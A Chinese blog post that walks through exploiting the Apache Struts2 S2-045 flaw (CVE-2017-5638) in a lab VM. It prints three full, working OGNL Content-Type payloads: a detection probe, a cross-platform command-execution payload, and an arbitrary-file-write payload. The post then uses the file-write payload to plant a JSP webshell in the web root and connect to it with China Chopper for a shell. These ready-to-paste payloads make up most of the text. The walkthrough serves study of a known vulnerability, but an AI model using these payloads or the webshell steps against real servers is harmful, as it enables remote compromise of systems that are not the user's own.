美文网首页
struts2-045 CVE-2017-5638

struts2-045 CVE-2017-5638

作者: CSeroad | 来源:发表于2018-09-09 14:37 被阅读57次

    漏洞描述:

    Struts使用的Jakarta解析文件上传请求包不当,当远程攻击者构造恶意的Content-Type,可能导致远程命令执行。

    漏洞范围:

    Struts 2.3.5 – Struts 2.3.31

    Struts 2.5 – Struts 2.5.10

    漏洞复现:

    实验环境:windows7虚拟机、tomcat 8.0.53、struts-2.5.10

    将下载好的struts2.5.10漏洞war包拷贝到tomcat目录下。

    下载地址:http://archive.apache.org/dist/struts/2.5.10/

    struts2-showcase

    进行访问。。

    ok

    验证漏洞

    使用公布的POC进行测试是否存在s2-045漏洞。

    %{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}

    使用burp进行抓包测试POC。

    success

    证明存在该漏洞。

    可以使用该POC编写脚本直接进行测试。。(找的公布的POC)

    https://blog.csdn.net/isinstance/article/details/61193987

    测试发现没有成功,稍微进行修改。

    s2-045.py success

    证明存在该漏洞后,进行利用。

    命令执行

    使用POC

    %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ipconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

    使用burp进行测试。

    ok

    同样使用现有的脚本进行测试。

    ipconfig

    getshell

    使用POC进行文件上传

    _multipart/form-data%{(#o=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#o):((#c=#context['com.opensymphony.xwork2.ActionContext.container']).(#g=#c.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#g.getExcludedPackageNames().clear()).(#g.getExcludedClasses().clear()).(#context.setMemberAccess(#o)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#f=new java.io.File(#req.getRealPath('/'),#req.getParameter('f'))).(@org.apache.commons.io.IOUtils@copy(#req.getInputStream(),new java.io.FileOutputStream(#f)))}

    使用burp进行测试。

    ok x.jsp success

    尝试上传小马

    ok 403禁止

    因为策略的限制。出现403禁止,尝试上传到可被访问目录

    root下

    直接访问。。

    success

    菜刀连接。。

    shell

    参考资料:

    http://phantom0301.cc/2017/03/13/struts2/

    http://www.polaris-lab.com/index.php/archives/45/

    https://blog.csdn.net/isinstance/article/details/61193987

    相关文章

      网友评论

          本文标题:struts2-045 CVE-2017-5638

          本文链接:https://www.haomeiwen.com/subject/gzzrgftx.html